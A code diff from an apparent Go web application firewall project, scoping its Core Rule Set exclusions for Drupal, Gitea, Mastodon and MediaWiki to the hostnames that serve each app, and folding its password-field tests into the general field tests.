 # signing up, and python3@example.com refused saving an account. An address
@@ -277,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
     SecRule &ARGS_GET:json.mail "@eq 0" \
         "ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
         ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
+
+SecMarker END_DRUPAL

internal/coreruleset/drupal_test.go

@@ -5,6 +5,8 @@ import (
 	"net/url"
 	"slices"
 	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
 )
 
 // drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -34,7 +36,21 @@ const drupalName = "name="
 func TestOrdinaryDrupalRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "drupal-requests.txt")
+	wantRecordedRequestsPass(t, "drupal-requests.txt", "drupal")
+}
+
+func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"drupal"},
+	})
+
+	// A search, which only Drupal's fixes let through.
+	search := get("/search?keys=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
 }
 
 // drupalAttacks are an SQL injection, a path traversal and a script
@@ -109,6 +125,7 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 			{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
 			{reply, drupalName + attack},
+			{drupalSignIn, "pass=" + attack},
 			{drupalSignIn, drupalName + attack},
 			{"/fr/user/login", drupalName + attack},
 			{"/user/register", drupalName + attack},
@@ -171,23 +188,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
 	}
 }
 
-func TestDrupalPasswordPasses(t *testing.T) {
-	t.Parallel()
-
-	for _, r := range []request{
-		{http.MethodPost, drupalSignIn, []string{formData}},
-		{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
-	} {
-		t.Run(r.target, func(t *testing.T) {
-			t.Parallel()
-
-			wantRandomPasswordsPass(t, r, "pass")
-			wantPasswordAttacksPass(t, r, "pass")
-			wantPasswordAttacksRefused(t, r, "pass")
-		})
-	}
-}
-
 func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
 	t.Parallel()
 

internal/coreruleset/gitea.conf

@@ -1,8 +1,55 @@
-# The eighth change: on gitea's paths, some fields skip the rules that refused
-# ordinary gitea requests there. They are the fields where gitea sends a search,
-# a file name or a branch name. Each exclusion runs with the request, before the
-# rules it switches off, those of phase 1 included, so this file is loaded before
-# the Core Rule Set's rules. Each comment names a request the rule refused.
+# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
+# They are the fields where gitea sends a search, a file name or a branch name.
+# Each exclusion runs with the request, before the rules it switches off, those
+# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
+# Each comment names a request the rule refused.
+
+# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
+# skipped. Inspect sets tx.app_gitea when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_gitea itself.
+SecRule &TX:app_gitea "@eq 0" \
+    "id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
+
+# The query parameters in which gitea sends names within a repository or its
+# own records, or a page of its own site, are not checked against the lists of
+# system files, shell paths and command names, on any path:
+#   930120: .gitignore
+#   932160: bin/docker-entrypoint
+#   932260: docker-build
+# ARGS holds the fields of a form data or multipart body Coraza reads as well
+# as the query parameters, so a field of these names is left out too.
+SecAction "id:900591,phase:1,pass,nolog,\
+    ctl:ruleRemoveTargetById=930120;ARGS:path,\
+    ctl:ruleRemoveTargetById=930120;ARGS:files,\
+    ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=930120;ARGS:ref,\
+    ctl:ruleRemoveTargetById=930120;ARGS:sha,\
+    ctl:ruleRemoveTargetById=930120;ARGS:branch,\
+    ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
+    ctl:ruleRemoveTargetById=932160;ARGS:path,\
+    ctl:ruleRemoveTargetById=932160;ARGS:files,\
+    ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=932160;ARGS:ref,\
+    ctl:ruleRemoveTargetById=932160;ARGS:sha,\
+    ctl:ruleRemoveTargetById=932160;ARGS:branch,\
+    ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
+    ctl:ruleRemoveTargetById=932260;ARGS:path,\
+    ctl:ruleRemoveTargetById=932260;ARGS:files,\
+    ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
+    ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
+    ctl:ruleRemoveTargetById=932260;ARGS:ref,\
+    ctl:ruleRemoveTargetById=932260;ARGS:sha,\
+    ctl:ruleRemoveTargetById=932260;ARGS:branch,\
+    ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
+    ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
+    ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
 
 # gitea's searches of code, of issues and pull requests, and of commits send the
 # text searched for in q, which skips these rules there:
@@ -163,8 +210,8 @@ SecRule REQUEST_FILENAME \
 #   942140: information_schema.sql
 #   944110: java/lang/Runtime.java
 #   944130: java.lang.String.md
-# Each request skips the rules that refused it. The fourth change already has
-# path and redirect_to skip 930120, 932160 and 932260 on every path.
+# Each request skips the rules that refused it. Rule 900591 already has path and
+# redirect_to skip 930120, 932160 and 932260 on every path.
 
 # A file's commit graph, in file.
 SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -289,3 +336,5 @@ SecRule REQUEST_FILENAME \
     "@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
     "id:900640,phase:1,pass,nolog,\
     ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
+
+SecMarker END_GITEA

internal/coreruleset/mastodon.conf

@@ -1,4 +1,4 @@
-# The twelfth change: on Mastodon's paths, some fields skip the rules that
+# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
 # refused ordinary Mastodon requests there. They are the fields where Mastodon
 # sends a search, a name, a title, a file name, an address or free text. Each
 # exclusion runs with the request, before the rules it switches off, so this
@@ -17,6 +17,13 @@
 #   932250: ls -la
 #   932260: python3
 
+# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
+# skipped. Inspect sets tx.app_mastodon when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_mastodon itself.
+SecRule &TX:app_mastodon "@eq 0" \
+    "id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
+
 # The API's searches and names, in the query:
 #   q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
 #   acct: /api/v1/accounts/lookup?acct=python3
@@ -176,85 +183,6 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/"
 
-# The passwords named above skip each rule that random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \
-    "id:900965,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/"
-
-SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \
-    "id:900966,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
-        ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
-
 # The web app's reports have the JSON keys forward and forward_to_domains. A
 # report forwarded to another server lists that server in forward_to_domains.
 # Their names contain .forward, a file in a home folder, so 930120 refused every
@@ -295,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
         "ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
         ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
+
+SecMarker END_MASTODON

internal/coreruleset/mastodon_test.go

@@ -6,7 +6,6 @@ import (
 	"net/http"
 	"net/url"
 	"slices"
-	"strings"
 	"testing"
 
 	"sneak.berlin/go/smallwebwaf/internal/coreruleset"
@@ -58,7 +57,21 @@ const (
 func TestOrdinaryMastodonRequestsPass(t *testing.T) {
 	t.Parallel()
 
-	wantRecordedRequestsPass(t, "mastodon-requests.txt")
+	wantRecordedRequestsPass(t, "mastodon-requests.txt", "mastodon")
+}
+
+func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
+	t.Parallel()
+
+	crs := servingApps(t, map[string][]string{
+		giteaHost: {gitea}, otherHost: {"mastodon"},
+	})
+
+	// A search, which only Mastodon's fixes let through.
+	search := get("/api/v2/search?q=python3")
+
+	wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
+	wantResult(t, crs, withHost(search, giteaHost), matched(932260))
 }
 
 // mastodonQueryFields sends each field that skips 930120, 932120, 932250
@@ -130,6 +143,10 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
 	{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
 	{http.MethodPost, "/settings/migration", "account_migration[acct]="},
+	{http.MethodPost, mastodonSignIn, mastodonPassword},
+	{http.MethodPost, mastodonAccount, mastodonPassword},
+	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
+	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
 	{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
 	{http.MethodPost, "/admin/report_notes", "report_note[content]="},
@@ -142,19 +159,6 @@ var mastodonFormFields = []mastodonBodyField{
 	{http.MethodPost, mastodonRoles, "user_role[name]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[text]="},
 	{http.MethodPost, mastodonTerms, "terms_of_service[changelog]="},
-	{http.MethodPost, mastodonSignUp, "reason="},
-}
-
-// mastodonPasswordForms sends each password field in a form data body, on
-// a path where it skips the four rules and the rules that random passwords
-// set off.
-//
-//nolint:gochecknoglobals // a constant cannot be a list
-var mastodonPasswordForms = []mastodonBodyField{
-	{http.MethodPost, mastodonSignIn, mastodonPassword},
-	{http.MethodPost, mastodonAccount, mastodonPassword},
-	{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
-	{http.MethodPost, mastodonAccount, "user[current_password]="},
 	{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
 	{
 		http.MethodPost, "/settings/migration/redirect",
@@ -162,14 +166,7 @@ var mastodonPasswordForms = []mastodonBodyField{
 	},
 	{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
 	{http.MethodPost, mastodonSignUp, passwordField},
-}
-
-// mastodonPasswordJSON sends the password of signing up through the API in
-// a JSON body, with %s for its value.
-//
-//nolint:gochecknoglobals // a struct cannot be a constant
-var mastodonPasswordJSON = mastodonBodyField{
-	http.MethodPost, mastodonSignUp, `{"password":%s}`,
+	{http.MethodPost, mastodonSignUp, "reason="},
 }
 
 // mastodonJSONFields sends each field that skips the four rules in a JSON
@@ -195,6 +192,7 @@ var mastodonJSONFields = []mastodonBodyField{
 	{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
 	{http.MethodPost, mastodonReports, `{"comment":%s}`},
 	{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
+	{http.MethodPost, mastodonSignUp, `{"password":%s}`},
 	{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
 	{http.MethodPost, "/inbox", `{"object":{"content":%s}}`},
 	{http.MethodPost, mastodonInbox, `{"object":{"contentMap":{"en":%s}}}`},
@@ -303,34 +301,6 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
 	}
 }
 
-func TestMastodonPasswordsPass(t *testing.T) {
-	t.Parallel()
-
-	for _, sent := range mastodonPasswordForms {
-		t.Run(sent.target+" "+sent.field, func(t *testing.T) {
-			t.Parallel()
-
-			r := request{sent.method, sent.target, []string{formData}}
-			name := strings.TrimSuffix(sent.field, "=")
-
-			wantRandomPasswordsPass(t, r, name)
-			wantPasswordAttacksPass(t, r, name)
-			wantPasswordAttacksRefused(t, r, name)
-		})
-	}
-
-	t.Run("JSON", func(t *testing.T) {
-		t.Parallel()
-
-		r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
-			[]string{jsonBody}}
-
-		wantRandomPasswordsPass(t, r, "password")
-		wantPasswordAttacksPass(t, r, "password")
-		wantPasswordAttacksRefused(t, r, "password")
-	})
-}
-
 func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 	t.Parallel()
 
@@ -343,7 +313,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		}
 	}
 
-	for _, sent := range slices.Concat(mastodonFormFields, mastodonPasswordForms) {
+	for _, sent := range mastodonFormFields {
 		if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -354,8 +324,7 @@ func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
 		t.Fatal(err)
 	}
 
-	passwordJSON := []mastodonBodyField{mastodonPasswordJSON}
-	for _, sent := range slices.Concat(mastodonJSONFields, passwordJSON) {
+	for _, sent := range mastodonJSONFields {
 		if mastodonJSON(t, sent, attack) < mastodonThreshold {
 			t.Errorf("%v let through", sent)
 		}
@@ -375,12 +344,6 @@ func TestMastodonHardValuesPassInTheExcludedFields(t *testing.T) {
 				t.Errorf("%s refused: %d", sent, score)
 			}
 		}
-
-		for _, sent := range mastodonPasswordForms {
-			if mastodonForm(t, sent, value) >= mastodonThreshold {
-				t.Errorf("%v with %s refused", sent, value)
-			}
-		}
 	}
 
 	code := url.QueryEscape(mastodonCodePost)

internal/coreruleset/mediawiki.conf

@@ -1,4 +1,4 @@
-# The eleventh change: on MediaWiki's paths, some fields skip the rules that
+# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
 # refused ordinary MediaWiki requests there. They are the fields where MediaWiki
 # sends a search, a title, a name, a file name, an address, a summary or a
 # reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,6 +21,13 @@
 #   932250: ls -la
 #   932260: python3
 
+# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
+# is skipped. Inspect sets tx.app_mediawiki when it does.
+# The skip reaches only phase 1, so a rule of a later phase must check
+# tx.app_mediawiki itself.
+SecRule &TX:app_mediawiki "@eq 0" \
+    "id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
+
 # The pages and their titles, the searches, and the special pages' fields
 # for a page, a user, a file or an address:
 #   title: /index.php?title=Python3_notes&action=history
@@ -108,86 +115,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
         ctl:ruleRemoveTargetById=932250;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/,\
         ctl:ruleRemoveTargetById=932260;ARGS:/^wp(?:summary|uploaddescription|name|password|oldtitle|newtitlemain|reason)$/"
 
-# wpPassword, lgpassword and password skip each rule random passwords set off.
-SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
-    "id:900917,phase:1,pass,nolog,chain"
-    SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
-    SecRule &ARGS_GET:wpPassword "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=920540;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=921200;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930110;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=930120;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932125;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932130;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932160;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932230;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932250;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932260;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932270;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932280;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932330;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932340;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932370;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=932380;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933135;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933180;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=933210;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941120;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941160;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=941180;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942100;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942151;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942190;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942230;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942290;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942320;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942540;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=942550;ARGS:wpPassword,\
-        ctl:ruleRemoveTargetById=944150;ARGS:wpPassword"
-
-SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
-    "id:900918,phase:1,pass,nolog,chain"
-    SecRule &ARGS_GET:/^(?:lgpassword|password)$/ "@eq 0" \
-        "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=920540;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=921200;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930100;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930110;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=930120;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932125;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932130;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932160;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932230;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932250;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932260;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932270;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932280;ARGS:/^(?:lgpassword|password)$/,\
-        ctl:ruleRemoveTargetById=932330;ARGS:/^(?:lgpassword|password)$/,\
